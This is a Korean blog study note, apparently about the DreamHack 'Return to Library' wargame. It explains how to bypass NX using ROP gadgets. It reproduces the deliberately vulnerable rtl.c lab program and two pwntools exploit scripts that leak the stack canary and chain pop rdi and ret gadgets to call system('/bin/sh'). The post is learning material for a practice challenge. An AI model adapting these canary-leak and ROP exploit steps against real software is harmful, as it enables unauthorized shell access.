2023. 3. 29. 18:01ㆍ해킹
x86-64의 호출 규약에 따르면 이는 rdi=”/bin/sh” 주소인 상태에서 system 함수를 호출한 것과 같다.
이 예제에서는 “/bin/sh”의 주소를 알고, system 함수를 호출할 수 있으므로 “/bin/sh”의 주소를 rdi의 값으로 설정할 수 있다면 system(“/bin/sh”)를 실행할 수 있습니다. 이를 위해선 리턴 가젯을 활용해야 합니다.
가젯은 프로그램상의 코드 조각을 의미한다. 여기서 우리는 ret가젯을 사용할 것이다. pop rdi이후 ret하는 가젯을 사용한다.
그렇게 되면 rdi에 있는 주소로 점프하는 식의 동작이 되는 것이다. 는 것이 이 return to library의 요점이다.
이때 개념의 혼동이 생겼다.
"어셈블리코드를 명령어처럼 작동시키는 것 같은데 쉘코드랑 무슨 차이일까? 기계어와 어셈블리의 차이인 것 같기는 하다만 무슨 차이일까?"
쉘코드는 어셈블리코드를 기계어 숫자들로 표현한 것이다.
요즘 리눅스에서 보안을 위해 컴파일 시 코드에서 데이터를 명령어로서 실행하려고 하면, 정상적으로 실행되지 않고 오류가 나도록 되어있다. 메모리에 실행 가능 속성이 없는 부분에 대해 실행을 하려고 시도해서 정상적으로 동작하지 않는 것이다. 그러므로 실행 속성을 따로 부여해줘서 실행해야한다.
즉 우리가 평소 NX옵션을 꺼두는 특수한 상황이 아니라면, mmap, memcpy와 같은 함수로 실행공간을 부러 만들어두어서 그곳에서 작동하는 게 아닌 이상 shellcode는 동작할 수 없다.
하지만 NX옵션이 켜진 이 return to library 문제에서는 shellcode를 쓸 수 없다.
그렇다면 가젯들은?
프로그램 내에 있는 가젯들은 쓸 수는 있는 것이다. 그것은 이미 프로그램 내에 있는 명령어 조각들이니까.
자, 이제 예제를 풀어보자.
예를 들어 이 예제에서는 rdi의 값을 “/bin/sh”의 주소로 설정하고, system 함수를 호출해야 합니다. 리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면, pop rdi로 rdi를 “/bin/sh”의 주소로 설정하고, 이어지는 ret로 system 함수를 호출할 수 있다.
주어진 rtl.c 파일.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
켜져 있는 옵션
NX, canary, 참고로 여기서는 ASLR도 켜져있다. 다만 NO PIE이기 때문에 지난시간에 공부했던 라이브러리 상대주소로 plt에 접근하는 것은 가능하다.
이제 필요한 정보들을 찾아보자.
plt@system - pwngdb로 탐색 가능, 폰툴로도 가능하다.
0x4005d0
binsh ="bin/sh" - pwngdb로 탐색가능, 폰툴로도 가능하다.
(얘는 그냥 하면 안 되고, b main으로 브레이크 포인트를 걸어주고나서 search 해야한다.)
가장 첫번째 0x400874
$ ROPgadget --binary ./rtl --re "ret"
pop rdi ; ret 가젯 0x400853
ret 가젯 0x400285
# Name: rtl.py
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
r = ROP(e)
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
sys_plt = 0x4005d0
binsh = 0x400874
poprdi_gg = 0x400853
ret = 0x400285
slog("pop rdi", poprdi_gg)
slog("ret", ret)
code = b"A"*0x38+p64(cnry)+b"B"*8+p64(ret)+p64(poprdi_gg)+p64(binsh)+p64(sys_plt)
pause()
p.sendafter("Buf: ", code)
p.interactive()
여기서 ret을 껴놓는 이유는 system 함수 내부에 있는 movaps 인하여... 0x10, 즉 스택이 16byte단위로 정렬이 되어야한다.
우리는 8바이트씩 exploit 코드를 짜서 임의로 8바이트를 더 넣어서 맞춰야한다.
이때 AAAAAA같은 것으로 빈공간을 채우면 Segmentation Fault 오류가 나므로
아무 의미없는 가젯을 끼워 넣어야한다.
이때 보였던 것이 ret 가젯인데 다른 가젯을 넣어도 될 것이다.
참고로 스택이 이미 정렬되어있다면 저런 걸 끼워넣을 필요 없다.
여기서 dreamhack에서 실행할 땐 process를 remote로 바꾸고 서버에서 할당해준 도메인과 포트번호로 수정하고 실행하면 된다.
구글링 중에 이런 게시글을 발견했다.
근데 이또한 폰툴로만으로 해결할 수 있는 모양이다.
#!/usr/bin/python3
# Name: rtl.py
from pwn import *
p = process("./rtl")
e = ELF("./rtl")
r = ROP(e)
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
sys_plt = e.plt['system'];
binsh = next(e.search(b"bin/sh"))
poprdi_gg = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
slog("pop rdi", poprdi_gg)
slog("ret", ret)
code = b"A"*0x38+p64(cnry)+b"B"*8+p64(ret)+p64(poprdi_gg)+p64(binsh)+p64(sys_plt)
pause()
p.sendafter("Buf: ", code)
p.interactive()
참고자료
https://hg2lee.tistory.com/entry/%EC%8B%9C%EC%8A%A4%ED%85%9C-Gadget-%EA%B0%80%EC%A0%AF
[시스템] Gadget 가젯
Gadget의 본래의 개념은 프로그램 상에서 코드 조각을 지칭하였으며, 프로그램 내에 존재하는 명령어 조각 이다. 기존 프로그램에 존재하지만 libc파일에도 존재한다. 포너블(시스템 해킹)에서 주
hg2lee.tistory.com
https://3omh4.tistory.com/entry/DreamHack-Return-to-Library-Write-Up
[DreamHack] Return to Library Write Up
이번 문제는 아래 글과 동일한 문제이다. 다만 차이가 있다면 pwntools을 이용해 가젯과 문자열을 찾았다. [system][hacking] Exploit Tech : Return to Library(RTL) NX를 우회하는 공격기법인 RTL에 대해 공부한 내
3omh4.tistory.com
'해킹' 카테고리의 다른 글
[dreamhack] Exploit Tech: Return Oriented Programming (0) | 2023.05.01 |
---|---|
[dreamhack] NX, ASLR 보호기법 공부 (0) | 2023.03.29 |
[dreamhack]XSS 공부 (0) | 2023.03.16 |